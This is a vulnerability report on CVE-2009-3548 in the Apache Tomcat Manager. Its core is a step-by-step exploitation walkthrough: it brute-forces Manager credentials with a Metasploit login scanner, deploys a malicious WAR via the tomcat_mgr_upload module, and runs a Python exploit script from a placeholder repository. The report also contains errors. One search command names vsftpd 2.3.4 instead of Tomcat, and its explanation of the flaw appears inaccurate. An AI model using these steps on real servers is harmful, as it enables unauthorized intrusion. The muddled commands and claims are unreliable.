CVE Exploit

OS Exploitation- (CVE-2009-3548)

Apache Tomcat Manager- Application Upload
(Authenticated) Code Execution
with Manual and Metasploit Examples

Ransika A.A.P.W.R.Y

- **Vulnerability Assessment Report:** CVE-2009-3548 Apache Tomcat Manager Application Upload (Authenticated) Code Execution (Metasploit)
- **Date:** October 29, 2023
- **Subject:** Authenticated Code Execution Vulnerability in Apache Tomcat Manager Application

---

1. Introduction

Apache Tomcat serves as a critical component in numerous web service infrastructures, deploying and managing Java-based applications. This report addresses a severe security flaw, CVE-2009-3548, within the Apache Tomcat Manager Application. Exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary code, potentially commandeering the host system, leading to a full compromise of the server's integrity and confidentiality of data.

2. Discovery

The vulnerability was initially disclosed in 2009, after security researchers identified a loophole in the Apache Tomcat Manager Application's deployment protocol. It was found that despite requiring authentication, the application deployment process did not adequately sanitize user-supplied input, which could be exploited to execute code on the server.

3. Technical Description

CVE-2009-3548 manifests in the Manager Application of Apache Tomcat when processing deployment requests. The deployment function, intended for authenticated users to upload and deploy web applications, fails to properly validate the uploaded content. An attacker with access to valid credentials can

upload a malicious WAR (Web Application Resource) file containing executable code. When this file is automatically processed by Tomcat, the code within is executed, allowing the attacker to gain control over the server.

4. Exploitation

Upon public disclosure of CVE-2009-3548, a critical vulnerability in Apache Tomcat's Manager Application, the security community has developed numerous methods to exploit this weakness. A prevalent approach involves using the Metasploit Framework, which offers a dedicated module for this specific exploit.

❖Exploitation using Metasploit Framework

Step 1: Preparing Metasploit

- Open a terminal and initiate Metasploit by entering:
  - ***Msfconsole***

- Wait for the Metasploit console to load, bringing you to the msf> prompt.

Step 2: Local Network Configuration:

- Use the ifconfig command in the Metasploit terminal to get the local IP settings.
- In a Kali Linux terminal, use the ifconfig command once more to verify the network configuration.
  - ***ifconfig***

Step 3: Vulnerability Identification:

- Use the command-line search tool searchsploit for the Exploit Database to look for exploits pertaining to Apache Tomcat by running searchsploit apache tomcat.
    - ***searchsploit vsftpd 2.3.4***

Step 4: Identifying the Exploit

- Use Metasploit's search feature to find the Apache Tomcat exploit:
    - ***search apache tomcat***

- From the search results, identify and select the exploit for the Tomcat Manager Application. For example:
    - ***use 18(auxilary/scanner/http/tomcat_mgr_login)***

Step 5: Configuring the Exploit

- Configure the exploit's options by first checking the required settings with:
    - ***show options***

- Set the RHOSTS parameter to specify the target's IP address:
    - ***set RHOSTS [target IP address]***

- To ensure the scanner stops after finding a successful credential pair, set the stop_on_success option:
    - ***set stop_on_success true***

- Use another show options command to confirm that every option is configured appropriately.

Step 6: Executing the Exploit

- After configuring the tomcat_mgr_login module with the target's IP address and setting stop_on_success to true, execute the module to identify valid credentials.
    - ***Run***

- Once you have obtained valid credentials, use the back command to return to the main Metasploit prompt.
    - ***back***

Step 7: Exploit Selection:

- Use the search function to locate and select the tomcat_mgr_upload exploit module from the available list.
    - ***search apache tomcat***
    - ***use 7 (exploit/multi/http/tomcat_mgr_upload)***

Step 8: Exploit Configuration:

- Display the current configuration and required settings for the selected exploit by running show options.
    - ***show options***

- Input the credentials for the Tomcat Manager Application:
    - ***set httpusername tomcat***
    - ***set httppassword tomcat***

- Set the RHOSTS parameter to specify the target's IP address:
    - ***set RHOSTS [target IP address]***

- If the Tomcat Manager Application is running on a non-standard port, adjust the RPORT parameter accordingly:
    - ***set RPORT [port number]***

- Review all configurations with another show options command to ensure accuracy.

Step 9: Executing the Exploit

- Deploy the exploit to attempt unauthorized access:
    - ***exploit***

Step 10: Post-Exploitation:

- After gaining access, it's crucial to act within legal and ethical boundaries. Ensure you have explicit permission from the system's owner before proceeding with any post-exploitation activities.

❖Exploitation using Python Exploit Script

Step 1: Requirements and Installation

- Install Python3 and pip, the Python package manager:
  - ***sudo apt install python3 python3-pip***

- Install the argparse library, which is essential for parsing command-line arguments in Python:
  - ***pip install argparse***

Step 2: Obtaining the Exploit Script

- Clone the exploit code from the relevant GitHub repository:
  - ***git clone https://github.com/your_repository/CVE-2009-3548-exploit.git***

- Navigate to the directory containing the exploit script and set the appropriate execution permissions:
  - ***cd CVE-2009-3548-exploit***
  - ***chmod +x exploit.py***

Step 3: Exploitation Process

With the exploit script ready and the environment prepared, the exploitation can begin:

- Execute the Python script, providing it with the target host's IP address and any other necessary parameters:
  - ***python3 exploit.py -host [Target_IP] [Additional_Arguments]***

---

5. Verification

Verification of this vulnerability can be conducted by simulating an authenticated session with the Manager Application. Utilizing tools such as the Metasploit Framework, security teams can attempt to deploy a benign WAR file containing non-malicious code to test if the application performs adequate input validation and sanitization. If the deployment is successful and the code executes, the presence of CVE-2009-3548 is confirmed.

6. Mitigation

To mitigate CVE-2009-3548, administrators should immediately update to the latest version of Apache Tomcat that includes a fix for this vulnerability. Furthermore, it is critical to enforce strong, unique credentials for accessing the Tomcat Manager Application to prevent unauthorized access. Regularly auditing and monitoring for unusual deployment activity can also help in early detection of exploit attempts. As an additional layer of security, network-level controls should be implemented to restrict access to the Manager Application interface to trusted users only.

7. Conclusion

CVE-2009-3548 serves as a stark reminder of the importance of secure application development practices and the necessity of rigorous authentication and validation mechanisms. The potential for such vulnerabilities to disrupt operations and compromise sensitive information cannot be overstated. Proactive measures, such as regular security audits, adherence to the principle of least privilege, and prompt application of security patches, are essential to maintaining the integrity of web service infrastructures.

References

1.National Vulnerability Database. (2009). CVE-2009-3548 Detail. Retrieved November 1, 2023

2.Apache Tomcat. (n.d.). Apache Tomcat Security Pages. Retrieved November 1, 2023

3.Rapid7. (2009). Metasploit Module for Apache Tomcat Manager Authenticated Upload Code Execution. Retrieved November 1, 2023

4.CWE - Common Weakness Enumeration. (n.d.). CWE-434: Unrestricted Upload of File with Dangerous Type. Retrieved November 1, 2023

END
